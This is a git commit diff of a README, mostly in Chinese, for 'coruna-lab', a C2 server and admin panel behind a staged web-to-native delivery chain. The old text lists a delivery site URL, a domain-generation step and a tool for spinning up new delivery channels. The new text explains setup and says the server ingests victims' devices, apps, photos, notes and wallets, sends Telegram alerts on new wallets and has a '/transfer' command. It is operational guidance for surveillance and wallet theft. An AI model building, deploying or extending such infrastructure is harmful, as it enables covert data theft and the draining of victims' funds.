This commit is contained in:
hashbro
2026-08-08 05:09:01 +08:00
parent 03a40105fc
commit 74a67c3900
523 changed files with 669 additions and 5965 deletions
+62 -49
View File
@@ -1,69 +1,82 @@
# coruna-lab
# Coruna Lab
启动 / 验证 Coruna 链路所需的最小文件树。构建与 patch **不再依赖** 旁路的 `coruna-online/`。
Laravel C2 + Admin。渠道静态资源构建与分发已拆到同级项目 [`../coruna-lab-web/`](../coruna-lab-web/)。
```text
coruna-lab/
├── source/ # 只读模板 / 明文输入(勿直接 patch)
│ ├── web/<original-channel>/
│ ├── sync/ # wire 模板
│ ├── sync_dylibs/ # sync 明文 dylib
│ ├── type0x01_dylibs/ # type-0x01 明文 dylib
│ └── sync_config/daily.body
├── server/public/
│ ├── web/<channel-id>/ # 每次 new_project 新增一个投递站
│ ├── sync/ # 每次 new_project 重建
│ └── out/{channel,seeds,domains}.json
├── doc/
├── tools/ # patch 脚本 + vendor/ 离线辅助库
└── MANIFEST.json
ios-fetch/
├── coruna-lab/ # ← 本仓库:C2 / Admin / 渠道元数据
└── coruna-lab-web/ # 构建 API + frontend 模板/工具 + 静态产物站
```
线上 base(模板同源):
## Requirements
```text
https://www.dhxuhdbej888.icu/web/34f5121f572d6742703eb84ec2f866a6/
```
## 新建项目(推荐)
从 `source/` 生成 **`server/public/web/<新channel>/`**(自动 32 hex channel + 固定域名);每次重建 `sync/`,同域名则字节一致:
| Tool | Path / note |
|------|-------------|
| PHP 8.5+ | `/opt/homebrew/opt/php/bin/php`(勿用 PATH 里旧 7.3) |
| Composer | via brew PHP |
| MySQL 8.0 | preferred;sqlite 可 smoke |
| p7zip | `CORUNA_7Z_BIN` 或 `bin/7z`(C2 入库用) |
```bash
cd coruna-lab
pip3 install py7zr pycryptodome
/usr/bin/python3 tools/new_project.py \
--channel-id 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa' \
--deployment-domains 'www.89lwsvkxm-fbo6y50npt71o.org,www.sl2023nk2h4867xt2.info' \
--reporting-domains 'www.89lwsvkxm-fbo6y50npt71o.org,www.sl2023nk2h4867xt2.info'
export PATH="/opt/homebrew/opt/php/bin:$PATH"
php -v
```
见 `server/public/out/channel.json` / `domains.json`;入口:
## Setup
```bash
cp .env.example .env
# edit .env: DB_*, TELEGRAM_*, ADMIN_*, CORUNA_BUILD_SERVICE_*
php artisan key:generate # once
php artisan migrate --seed
php artisan serve --host=0.0.0.0 --port=8000
```
Admin:
- Shell: `http://127.0.0.1:8000/admin`
- Login: `http://127.0.0.1:8000/admin/login` — `admin` / `admin123`(见 `.env` `ADMIN_*`)
## 新建渠道
本仓库只保存渠道元数据;静态产物由 `coruna-lab-web` 同步构建:
```dotenv
CORUNA_BUILD_SERVICE_URL=http://127.0.0.1:8081
CORUNA_BUILD_SERVICE_TOKEN=replace-me
CORUNA_BUILD_SERVICE_CONNECT_TIMEOUT=5
CORUNA_BUILD_SERVICE_TIMEOUT=600
CORUNA_LAB_CHANNEL_DOMAINS=www.dep1.example,www.dep2.example
CORUNA_LAB_AMIDN_DOMAINS=www.rep1.example,www.rep2.example
CORUNA_STATIC_SITE_BASE_URL=https://static.example
```
创建渠道时可填写 `domains`(可选);留空则展示链接与构建 `deployment_domains` 使用 `CORUNA_LAB_CHANNEL_DOMAINS`。构建时的 `reporting_domains` 始终使用 `CORUNA_LAB_AMIDN_DOMAINS`。
构建:`POST /v1/channels/{id}/build`
删除:`DELETE /v1/channels/{id}`
后台展示入口:
```text
https://<host>/web/<channel-id>/support.html
https://<host>/sync/daily.html
https://<host>/channel/<channel-id>/web/support.html
https://<host>/channel/<channel-id>/sync/daily.html
```
## 文档
构建服务部署见 [`../coruna-lab-web/docs/BUILD_API.md`](../coruna-lab-web/docs/BUILD_API.md)。
| 文档 | 内容 |
|------|------|
| [`doc/STAGE_JS.md`](doc/STAGE_JS.md) | 入口 + Stage JS;对标 `coruna/` |
| [`doc/NATIVE_PACKS.md`](doc/NATIVE_PACKS.md) | 一级 / 二级包路径、联系、清单 |
| [`doc/SYNC.md`](doc/SYNC.md) | `daily.html` + 26 个业务模块 |
| [`tools/README.md`](tools/README.md) | 固定域名 + channel、`new_project`、分步补丁 |
## C2 / Admin 说明
## 链路(极简)
- Reporting:AES-256-ECB JSON + multipart `/api/user/check` 7z
- 入库:devices / apps / photos / notes / wallets + `c2_raw_logs`
- Telegram:新设备、新/变更钱包;`/transfer` 指令
```text
support.html → Stage1/2/3 → 一级包 (.js) → (0x07) → 二级 type-0x01 (.min.js)
→ Deployment DGA → /sync/daily.html → 26 模块
```bash
php artisan test
```
## 其它
## 注意
- 来源索引:`MANIFEST.json`(历史 provenance;运行时不读)
- **不要**对 `source/` 跑 `--apply`;产物只写 `server/public/web/<channel>/` 与 `sync/`
- 工具细节见 [`tools/README.md`](tools/README.md)
- 本仓库不再包含 `frontend/` 或本地 Python 构建脚本
- 迁移期可保留旧 `public/web`、`public/sync` 只读;新渠道只发到 `coruna-lab-web` 静态站